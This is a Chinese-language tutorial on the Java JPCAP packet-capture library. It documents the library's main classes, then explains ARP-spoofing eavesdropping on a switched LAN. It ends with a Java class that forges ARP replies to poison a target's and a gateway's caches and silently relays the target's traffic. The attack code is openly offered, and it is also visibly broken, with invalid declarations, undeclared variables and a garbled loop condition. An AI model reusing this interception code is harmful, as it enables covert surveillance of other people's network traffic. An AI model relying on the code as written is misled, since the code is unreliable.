JPCAP——Java中的数据链路层控制

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　　一．JPCAP简介
　　
　　众所周知，Java语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。
　　
　　JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft windows 2000/XP等系统。
　　
　　二．JPCAP机制
　　
　　JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef strUCt _ADAPTERADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。
　　
　　1．NetworkInterface
　　
　　该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继续自java.lang.Object的基本方法以外，没有定义其它方法。
　　
　　
　　数据成员
　　NetworkInterfaceAddress[]
　　java.lang.String
　　datalink_description.
　　数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。
　　java.lang.String
　　datalink_name
　　该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。
　　java.lang.String
　　description
　　网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC
　　boolean
　　Loopback
　　标志这个设备是否loopback设备。
　　byte[]
　　mac_address
　　网卡的MAC地址，6个字节。
　　java.lang.String
　　Name
　　这个设备的名称。例如我的网卡名称：DeviceNPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
　　
　　2．JpcapCaptor
　　
　　该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤要害字等等。
　　
　　
　　数据成员
　　int
　　
　　dropped_packets
　　抛弃的包的数目。
　　protected int
　　
　　ID
　　
　　这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。
　　protected staticboolean[]
　　
　　instanciatedFlag
　　
　　同样在官方文档中没有做任何说明，估计其为供内部使用。
　　protected staticint
　　
　　MAX_NUMBER_OF_INSTANCE
　　同样在官方文档中没有做任何说明，估计其为供内部使用。
　　int
　　
　　received_packets
　　收到的包的数目
　　
　　方法成员
　　staticNetworkInterface[]
　　
　　getDeviceList()
　　返回一个网络设备列表。
　　staticJpcapCaptor
　　
　　openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms)
　　创建一个与指定设备的连接并返回该连接。注重，以上两个方法都是静态方法。
　　
　　Interface：要打开连接的设备的实例；
　　
　　Snaplen：这个是比较轻易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节；
　　
　　Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用；
　　
　　To_ms：这个参数主要用于processPacket()方法，指定超时的时间；
　　void
　　
　　Close()
　　关闭调用该方法的设备的连接，相对于openDivece()打开连接。
　　JpcapSender
　　
　　getJpcapSenderInstance()
　　该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。
　　Packet
　　
　　getPacket()
　　捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。
　　int
　　
　　loopPacket(intcount, PacketReceiver handler)
　　捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。假如count参数设为－1，那么无限循环地捕捉数据。
　　
　　这个方法不受超时的影响。还记得openDivice()中的to_ms参数么？那个参数对这个方法没有影响，假如没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。
　　PacketReceiver中只有一个抽象方法void receive(Packet p)。
　　int
　　
　　processPacket(intcount, PacketReceiver handler)
　　跟loopPacket()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。
　　int
　　
　　dispatchPacket(intcount, PacketReceiverhandler)
　　跟processPacket()功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。
　　void
　　
　　setFilter(java.lang.Stringcondition, booleanoptimize)
　　.condition：设定要提取的包的要害字。
　　
　　Optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数假如为真，那么过滤器将处于优化模式。
　　void
　　
　　setNonBlockingMode(booleannonblocking)
　　
　　假如值为“true”，那么设定为“non-blocking”模式。
　　void
　　
　　breakLoop()
　　
　　当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。
　　
　　3．JpcapSender
　　
　　该类专门用于控制数据包的发送。
　　
　　
　　方法成员
　　void
　　
　　close()
　　强制关闭这个连接。
　　staticJpcapSender
　　
　　openRawSocket()
　　
　　这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。
　　void
　　
　　sendPacket(Packet packet)
　　JpcapSender最重要的功能，发送数据包。需要注重的是，假如调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话，需要自己设定数据链路层的头，而假如是由上面的openRawSocket()得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。
　　
　　4．Packet
　　
　　这个是所有其它数据包类的父类。Jpcap所支持的数据包有：
　　ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

　　三．使用JPCAP实现监听
　　
　　1．监听原理　
　　
　　在具体说用JPCAP实现网络监听实现前，先简单介绍下监听的原理。
　　
　　局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“ARP欺骗”技术。
　　
　　假设本机为A，监听目标为B。
　　
　　首先，伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入网关IP，目的地址填入B的MAC、IP，然后将这个包发送给B，而B接收到这个伪造的ARP REPLY包后，由于源IP为网关IP，于是在它的ARP缓存表里刷新了一项，将（网关IP，网关MAC）刷新成（网关IP，A的MAC）。而B要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到A的机器上来了。
　　
　　接着，再伪造一个ARP REPLY包，数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址，而源IP部分填入B的IP，目的地址填入网关MAC、IP，然后将这个包发给网关，网关接收到这个伪造的ARP REPLY包后，由于源IP为B的IP，于是在它的ARP缓存表里刷新了一项，将（B的IP，B的MAC）刷新成（B的IP，A的MAC）。这时候外部传给B的数据包经过网关时，就通通转发给A。
　　
　　这样还只是拦截了B的数据包而已，B并不能上网——解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。
　　
　　ARP数据包解析
　　
　　单元：Byte
　　
　　
　　Ethernet头部
　　
　　ARP数据部分
　　
　　6
　　
　　6
　　
　　2
　　
　　2
　　
　　2
　　
　　2
　　
　　2
　　
　　4
　　
　　6
　　
　　4
　　
　　6
　　
　　目标MAC地址
　　
　　源地MAC地址
　　
　　类型号0x0800:ip
　　
　　0x0806:ARP
　　
　　局域网类型
　　
　　以太网0x0001
　　
　　网络协议类型
　　
　　IP网络0x0800
　　
　　MAC/IP地址长度，恒为0x06/04
　　
　　ARP包类型
　　
　　REPLY
　　
　　0x0002
　　
　　ARP目标IP地址
　　
　　ARP目标MAC 地址
　　
　　ARP源IP地址
　　
　　ARP源MAC地址
　　
　　2．用JPCAP实现监听
　　
　　就如上面说的，为了实现监听，我们必须做四件事：
　　
　　A．发送ARP包修改B的ARP缓存表；
　　
　　B．发送ARP包修改路由ARP缓存表；
　　
　　C．转发B发过来的数据包；
　　
　　D．转发路由发过来的数据包；
　　
　　下面我们给个小小的例子说明怎样实现。
　　
　　我们假定运行这个程序的机器A只有一个网卡，只接一个网络，所在局域网为Ethernet，并且假定已经通过某种方式获得B和网关的MAC地址（例如ARP解析获得）。我们修改了B和网关的ARP表，并对他们的包进行了转发。
　　
　　public class changeARP{
　　　private NetworkInterface[] devices; //设备列表
　　　private NetworkInterface device; //要使用的设备
　　　private JpcapCaptor jpcap; //与设备的连接
　　　private JpcapSender sender; //用于发送的实例
　　　private byte[] targetMAC, gateMAC; //B的MAC地址，网关的MAC地址
　　　private byte[] String targetIp, String gateIp; //B的IP地址，网关的IP地址
　　　/**
　　　*初始化设备
　　　* JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic
　　　*dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。
　　
　　　*注重：在这里有一个小小的BUG，假如JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
　　　*JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。
　　　*虚拟网卡只有MAC地址而没有IP地址，而且假如出现虚拟网卡，那么实际网卡的MAC将分
　　　*配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
　　
　　　*/
　　
　　　private NetworkInterface getDevice() throws IOException {
　　devices = JpcapCaptor.getDeviceList(); //获得设备列表
　　device = devices[0];//只有一个设备
　　jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
　　jpcap.setFilter(“ip”,true); //只监听B的IP数据包
　　sender = captor.getJpcapSenderInstance();
　　　}
　　　/**
　　　*修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一
　　　*段时间就发一次包重新更改B和网关的ARP表。
　　　*@参数 targetMAC B的MAC地址，可通过ARP解析得到；
　　　*@参数 targetIp B的IP地址；
　　　*@参数 gateMAC 网关的MAC地址；
　　　*/
　　
　　　public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
　　　throws UnknownHostException,InterruptedException {
　　this. targetMAC = targetMAC;
　　this. targetIp = targetIp;
　　this. gateMAC = gateMAC;
　　this. gateIp = gateIp;
　　getDevice();
　　arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
　　arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
　　arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
　　arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
　　arpTarget.hlen = 6; //MAC地址长度固定6个字节
　　arpTarget.plen = 4; //IP地址长度固定4个字节
　　arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
　　arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP
　　
　　arpTarget.target_hardaddr = targetMAC; //B的MAC地址
　　arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
　　
　　EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
　　ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
　　ethToTarget.src_mac = device.mac_address; //A的MAC地址
　　ethToTarget.dst_mac = targetMAC; //B的MAC地址
　　arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
　　arpGate = new ARPPacket(); //修改网关ARP表的包
　　arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似，不再重复注析
　　arpGate.prototype = ARPPacket.PROTOTYPE_IP;
　　arpGate.operation = ARPPacket.ARP_REPLY;
　　arpGate.hlen = 6;
　　arpGate.plen = 4;
　　arpGate.sender_hardaddr = device.mac_address;
　　arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
　　arpGate.target_hardaddr = gateMAC;
　　arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
　　EthernetPacket ethToGate = new EthernetPacket();
　　ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
　　ethToGate.src_mac = device.mac_address;
　　ethToGate.dst_mac = gateMAC;
　　arpGate.datalink = ethToGate;
　　thread=new Thread(new Runnable(){ //创建一个进程控制发包速度
　　public void run() {
　　　while (true) {
　　sender.sendPacket(arpTarget);
　　sender.sendPacket(arpGate);
　　Thread.sleep(500);
　　　}).start();
　　　recP(); //接收数据包并转发
　　}
　　/**
　　*修改包的以太头，转发数据包
　　*参数 packet 收到的数据包
　　*参数 changeMAC 要转发出去的目标
　　*/
　　private void send(Packet packet, byte[] changeMAC) {
　　　EthernetPacket eth;
　　　if (packet.datalink instanceof EthernetPacket) {
　　eth = (EthernetPacket) packet.datalink;
　　for (int i = 0; i 6; i++) {
　　　eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标
　　　eth.src_mac[i] = device.mac_address[i]; //源发送者为A
　　}
　　sender.sendPacket(packet);
　　　}
　　}
　　/**
　　*打印接受到的数据包并转发
　　*/
　　public void recP(){
　　　IPPacket ipPacket = null;
　　　while(true){
　　ipPacket = （IPPacket）jpcap.getPacket();
　　System.out.println(ipPacket);
　　if (ipPacket.src_ip.getHostAddress().equals(targetIp))
　　　send(packet, gateMAC);
　　else
　　　send(packet, targetMAC);
　　　}
　　}
　　注重：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。